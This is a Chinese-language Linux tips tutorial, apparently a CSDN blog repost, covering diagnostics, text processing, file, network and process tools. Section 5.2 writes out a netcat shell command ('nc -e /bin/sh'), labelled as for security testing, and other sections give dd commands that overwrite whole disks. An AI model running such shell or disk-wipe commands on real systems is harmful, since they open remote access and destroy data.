// 安全研究 · 2026-06-16

Linux 老油子的隐藏技能库:从效率工具到故障排查的艺术

导读:真正的 Linux 老油子不是靠死记硬背命令,而是掌握了一套“元技能”——知道用什么工具解决什么问题,以及在系统“不听话”时如何快速定位根因。本文将揭示那些高手们秘而不宣的实战技巧。

1. 引言:区分“会用”与“精通”

会用 ls、cd、grep 是基本功,而精通意味着:

  • 面对问题时,脑中自动浮现最佳的工具组合
  • 系统出故障时,能快速缩小问题范围
  • 能够编写可维护、可移植、安全的脚本

老油子的核心优势不是记忆力,而是方法论——一套系统化的故障排查思维框架和工具使用哲学。

2. 信息收集与快速诊断技能

2.1 从 /proc 和 /sys 直接读系统状态

绝大多数人用 top 看 CPU、free 看内存,但老油子知道这些命令的数据来源,并能在没有这些工具时直接读取内核接口。

# CPU 信息(替代 lscpu)
cat /proc/cpuinfo | grep "model name" | head -1

# 内存信息(替代 free)
cat /proc/meminfo | grep -E "^(MemTotal|MemFree|SwapTotal)"

# 进程列表(替代 ps)
cat /proc/[0-9]*/status | grep -E "^(Pid|Name|State)"

# 中断分布(排查硬件瓶颈)
cat /proc/interrupts | head -10

# 内核命令行参数(排查启动问题)
cat /proc/cmdline

2.2 利用 /dev 做硬件级别探测

# 直接读取磁盘的 MBR(无需挂载)
sudo dd if=/dev/sda of=mbr.bin bs=512 count=1

# 测试内存稳定性(写入 /dev/null)
dd if=/dev/zero of=/dev/null bs=1M count=10000

# 生成随机数据(从 /dev/urandom)
dd if=/dev/urandom of=random.data bs=1M count=100

# 清空磁盘(危险!)
dd if=/dev/zero of=/dev/sdb bs=1M status=progress

2.3 dmesg 的高级用法

dmesg 输出内核环形缓冲区的消息,是诊断硬件问题、驱动崩溃、OOM 的第一现场。

# 只看最后 20 行(最新消息)
dmesg | tail -20

# 带时间戳(便于定位时间点)
dmesg -T | tail -20

# 只看错误和警告
dmesg -l err,warn

# 追踪实时内核消息(类似 tail -f)
dmesg -w

# 按关键字过滤(定位 USB 设备问题)
dmesg | grep -i "usb"

# 查看 OOM(内存溢出)记录
dmesg | grep -i "out of memory"

2.4 lsof:恢复误删文件 + 排查端口占用

lsof(List Open Files)是排查“文件被谁占用”和“端口被谁监听”的神器。

# 查看谁在使用某个文件
lsof /var/log/syslog

# 恢复误删但进程仍打开的文件
lsof | grep deleted
# 然后通过 /proc/PID/fd/FD 复制出来
cp /proc/12345/fd/4 recovered_file.txt

# 查看端口监听(无需 netstat)
lsof -i :80
lsof -iTCP -sTCP:LISTEN

# 查看某个用户打开的所有文件
lsof -u username

# 查看某个进程打开的文件
lsof -p 12345

实战价值:/proc/PID/fd/* 是通向已删除文件的“后门”,在误删大文件且进程未重启时,这是唯一的恢复途径。

2.5 strace:追踪进程的系统调用

strace 是定位“程序卡住”或“权限错误”的终极武器——它能看到程序在系统层面的每一个操作。

# 跟踪一个命令的执行过程
strace ls -l

# 附加到运行中的进程
strace -p 12345

# 只跟踪文件操作相关的系统调用
strace -e trace=file ls

# 只跟踪网络相关的系统调用
strace -e trace=network curl example.com

# 统计每种系统调用的次数和时间
strace -c ls

# 输出时间戳(便于性能分析)
strace -tt ls

典型场景:程序报 Permission denied,用 strace 可看到它具体在尝试打开哪个文件时失败。

2.6 ldd:分析二进制依赖

ldd 打印共享库依赖,排查“命令 not found”或库版本冲突。

# 查看 ls 依赖哪些 .so 文件
ldd $(which ls)

# 查看缺失的库
ldd /path/to/binary | grep "not found"

注意:ldd 在某些安全环境中可能不工作,替代方案是 objdump -p /path/to/binary | grep NEEDED。

3. 文本处理与脚本进阶技能

3.1 awk 的单行程序

awk 是文本处理的瑞士军刀。老油子能用一行 awk 完成别人 10 行 Python 的任务。

# 计算一列数字的和
awk '{sum+=$1} END {print sum}' data.txt

# 打印第 2 列和第 4 列
awk '{print $2, $4}' data.txt

# 按逗号分隔的 CSV 处理
awk -F, '{print $1, $3}' data.csv

# 条件过滤(第 3 列大于 100)
awk '$3 > 100' data.txt

# 内置变量:NR(行号)、NF(字段数)、FILENAME
awk '{print NR ": " $0}' data.txt

# 格式化输出
awk '{printf "%-10s %5d\n", $1, $2}' data.txt

3.2 sed 的批量编辑

sed 是流编辑器,适合在脚本中批量修改文件内容。

# 替换文本(只替换第一个匹配)
sed 's/old/new/' file.txt

# 全局替换
sed 's/old/new/g' file.txt

# 在原文件上修改(-i)
sed -i 's/old/new/g' file.txt

# 删除空行
sed '/^$/d' file.txt

# 打印第 5 到第 10 行
sed -n '5,10p' file.txt

# 在匹配行后追加内容
sed '/pattern/a\new line' file.txt

3.3 管道组合:无临时文件的数据流

# 查找最大的 5 个日志文件
find /var/log -name "*.log" -exec du -b {} \; | sort -rn | head -5

# 统计各 IP 的访问次数
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10

# 并行处理(利用 xargs -P)
cat urls.txt | xargs -P 10 -I {} curl -s {} > /dev/null

3.4 Here Document:多行输入脚本化

Here Document 允许在脚本中嵌入多行文本,避免临时文件。

# 基本用法
cat << EOF > config.txt
server=192.168.1.1
port=8080
timeout=30
EOF

# 抑制变量展开(加引号)
cat << 'EOF' > script.sh
echo "Current date: $(date)"
EOF

# 向命令传递多行输入
sqlite3 database.db << SQL
SELECT * FROM users;
INSERT INTO logs VALUES('done');
SQL

3.5 timeout:防止命令卡死

# 限制命令运行时间(秒)
timeout 10s ping google.com

# 超时时发送指定信号(默认 SIGTERM)
timeout -s KILL 10s ./long-running-task

3.6 coproc:协同进程(Bash 高级特性)

coproc 创建一个与 Shell 双向通信的子进程,适合需要交互的自动化场景。

# 启动 bc 作为协同进程
coproc BC { bc -l; }

# 发送计算命令
echo "scale=2; 10/3" >&${BC[1]}

# 读取结果
read output <&${BC[0]}
echo $output

3.7 flock:Shell 脚本互斥锁

防止同一个脚本被并发执行,避免写冲突。

#!/bin/bash
exec 200>/tmp/myscript.lock
flock -n 200 || { echo "Script already running"; exit 1; }

# 临界区代码...

4. 文件系统与存储的高级操作

4.1 find 的深度用法

# 按权限查找并执行操作
find / -perm -4000 -exec ls -l {} \; > suid_list.txt

# 按时间查找(最近 7 天修改)
find . -type f -mtime -7

# 按大小查找(大于 100M)
find . -type f -size +100M

# 排除目录
find . -path ./cache -prune -o -name "*.log" -print

# 对结果并行执行(提高效率)
find . -name "*.jpg" -print0 | xargs -0 -P 4 -I {} convert {} -resize 50% {}

4.2 xargs 的高级用法

xargs 是 find 的最佳搭档,负责将输入转换为命令参数。

# 批量重命名
find . -name "*.jpeg" | xargs -I {} mv {} {}.jpg

# 每批处理 100 个文件
find . -name "*.log" | xargs -n 100 rm

# 并行处理(-P 指定并发数)
cat urls.txt | xargs -P 10 -I {} curl -O {}

# 处理包含空格的文件名(需配合 find -print0)
find . -name "*.txt" -print0 | xargs -0 grep "pattern"

4.3 dd 的数据复制与转换

# 磁盘克隆
dd if=/dev/sda of=/dev/sdb bs=4M status=progress

# 创建指定大小的空文件
dd if=/dev/zero of=test.img bs=1M count=100

# 字节级别的替换(字符串替换)
echo "Hello World" | dd conv=swab   # 交换字节序

# 磁盘擦除(安全删除)
dd if=/dev/urandom of=/dev/sda bs=4M status=progress

4.4 使用 stat 获取文件的元数据

stat 比 ls -l 提供更详细的文件信息。

# 查看文件的 inode、权限、时间戳
stat file.txt

# 自定义输出格式
stat -c "%n %s %Y" *.txt   # 文件名、大小、修改时间戳

# 查看文件系统信息
stat -f /home

4.5 通过 watch 实时监控命令输出

# 每 2 秒查看一次磁盘使用
watch -n 2 df -h

# 高亮变化的部分
watch -d "ls -l"

# 监控 GPU 使用(需要 nvidia-smi)
watch -n 1 nvidia-smi

5. 网络调试与排查技能

5.1 curl 的高级调试

# 查看完整的请求/响应头
curl -v https://example.com

# 只查看响应头
curl -I https://example.com

# 指定 DNS 服务器(绕过本地 DNS)
curl --dns-servers 8.8.8.8 https://example.com

# 限速测试
curl --limit-rate 100K https://example.com/largefile.zip

# 重试机制
curl --retry 3 --retry-delay 2 https://unstable-server.com

# 输出详细的计时信息(性能分析)
curl -w "@curl-format.txt" -o /dev/null -s https://example.com

curl-format.txt 示例:

time_namelookup:  %{time_namelookup}\n
time_connect:     %{time_connect}\n
time_starttransfer: %{time_starttransfer}\n
time_total:       %{time_total}\n

5.2 nc (netcat) 的瑞士军刀能力

# 端口扫描
nc -zv 192.168.1.1 1-1000

# 传输文件
nc -l 1234 < file.txt     # 接收端
nc 192.168.1.2 1234 > file.txt  # 发送端

# 简单聊天
nc -l 1234                # A 端
nc 192.168.1.2 1234       # B 端

# 反向 Shell(安全测试用)
nc -e /bin/sh -l 1234     # 目标机(需支持 -e)
nc 192.168.1.2 1234       # 攻击机

# 测试 UDP 连接
nc -u -z 192.168.1.1 53

5.3 tcpdump 的抓包过滤

# 抓取 HTTP 流量
tcpdump -i eth0 -A 'tcp port 80'

# 抓取特定 IP 的所有流量
tcpdump -i eth0 host 192.168.1.100

# 保存到文件供 Wireshark 分析
tcpdump -i eth0 -w capture.pcap

# 抓取 Ping 包
tcpdump -i eth0 icmp

# 限制抓包数量(-c)和大小(-s)
tcpdump -i eth0 -c 100 -s 1500 -w sample.pcap

5.4 ss:现代 netstat

# 所有监听端口
ss -tlnp

# 查看所有 TCP 连接(包含进程名)
ss -tup

# 查看所有 UDP 连接
ss -uln

# 查看连接统计(重传、丢包)
ss -s

# 过滤特定状态
ss -t state established

5.5 iptables 快速查看规则

# 查看当前防火墙规则(带行号)
iptables -L -n -v --line-numbers

# 查看 NAT 规则
iptables -t nat -L -n -v

# 删除某条规则
iptables -D INPUT 3   # 删除 INPUT 链的第 3 条规则

6. 进程管理与性能调优

6.1 ps 的高级输出格式

# 查看完整的进程命令(包括参数)
ps auxww

# 自定义输出列
ps -e -o pid,ppid,cmd,%cpu,%mem --sort=-%cpu

# 查看进程树(另一种风格)
ps -e -o pid,args --forest

# 查看特定用户的进程
ps -u username

6.2 top / htop 的交互命令

top 运行时支持的交互键:

按键 作用
P 按 CPU 使用率排序
M 按内存使用率排序
T 按累计时间排序
1 展开/折叠多核 CPU
c 显示完整命令路径
k 终止进程
r 调整进程优先级(nice)

htop 的鼠标支持和颜色高亮使其更直观,老油子通常会在第一时间安装它:

sudo apt install htop

6.3 nice / renice:调整进程优先级

# 以低优先级运行(nice 值越高优先级越低)
nice -n 19 ./background-task

# 调整已运行进程的优先级
renice -n -5 -p 12345   # 提高优先级(需要 root)

6.4 taskset:绑定 CPU 核心

# 将进程绑定到特定 CPU 核心
taskset -c 0,1 ./myapp

# 查看进程当前绑定的 CPU
taskset -p 12345

6.5 ulimit:资源限制

# 查看所有限制
ulimit -a

# 设置最大文件打开数
ulimit -n 65535

# 设置最大进程数
ulimit -u 10240

# 设置 core dump 大小(0 表示禁止)
ulimit -c 0

7. 环境与配置管理

7.1 快速切换环境:env 与 exec

# 在干净环境中运行命令(忽略当前环境变量)
env -i PATH=/bin:/usr/bin bash

# 替换当前进程(不产生子进程)
exec ./myapp

7.2 别名 vs 函数 vs 脚本

方式 适用场景 示例
别名 简单参数替换 alias ll='ls -alF'
函数 需要参数处理 dl() { curl -O "$1"; }
脚本 复杂逻辑、复用 存放于 ~/bin/ 目录
# 函数示例:带参数处理的 gzip 包装
gz() {
    if [ -f "$1" ]; then
        gzip -k "$1"
    else
        echo "File not found: $1"
    fi
}

7.3 trap:在脚本退出时自动清理

#!/bin/bash
temp_file=$(mktemp)
trap "rm -f $temp_file" EXIT

# 脚本主逻辑...

7.4 利用 PROMPT_COMMAND 记录命令历史

# 每个命令执行前记录时间戳
PROMPT_COMMAND='history -a; echo "$(date) - $BASH_COMMAND" >> ~/.command_log'

8. 故障排查的思维框架

8.1 问题定位四步法

步骤 操作 工具
1. 确认症状 用户看到什么? 直接观察
2. 缩小范围 是网络?磁盘?内存? dmesg, lsof, strace
3. 查看日志 系统/应用日志里有什么? journalctl, /var/log/
4. 假设验证 尝试修复并观察结果 strace, tcpdump

8.2 常见问题速查表

症状 可能的根因 诊断命令
命令找不到 PATH 问题 echo $PATH, which cmd
权限被拒绝 文件权限/所有者 ls -l, id, stat
磁盘写满 磁盘空间/inode 耗尽 df -h, df -i, du -sh *
进程杀不掉 僵尸进程/内核问题 ps aux, dmesg
网络不通 防火墙/DNS 问题 ss -tlnp, iptables -L, dig
内存不足 内存泄漏/配置不足 free -h, top, ps aux --sort=-%mem

8.3 应急工具箱(静态编译版)

在没有包管理器的受限环境(如救援模式),预置静态编译的二进制文件:

# 常用静态工具
busybox                    # 集成了 100+ 命令
socat-static               # 网络转发
nmap-static                # 端口扫描

9. 总结:从“知道命令”到“理解系统”

真正的老油子技能,本质上是将系统知识转化为可操作的方法论:

  1. 信息收集:从 /proc、/sys、dmesg 直接读取内核状态
  2. 进程追踪:用 strace、lsof、/proc/PID/fd 深入到系统调用层
  3. 数据流处理:用 awk、sed、管道组合完成复杂的文本处理
  4. 故障定位:通过日志、系统状态、进程行为缩小问题范围

这份技能清单的核心价值不在于记忆每一个命令,而在于建立一套面对未知问题时的系统化解决框架:

  • 遇到性能问题 → 依次检查 CPU(top)、内存(free)、磁盘(iostat)、网络(ss)
  • 遇到权限问题 → 检查文件权限(ls -l)、进程能力(capsh)、SELinux(audit2why)
  • 遇到网络问题 → 分层排查:网卡(ip link)、路由(ip route)、防火墙(iptables)、服务(ss -tlnp)

当这些技能内化成本能反应时,你就成为了别人眼中那个“什么都能搞定”的老油子。

原文 https://blog.csdn.net/2301_79518550/article/details/161921468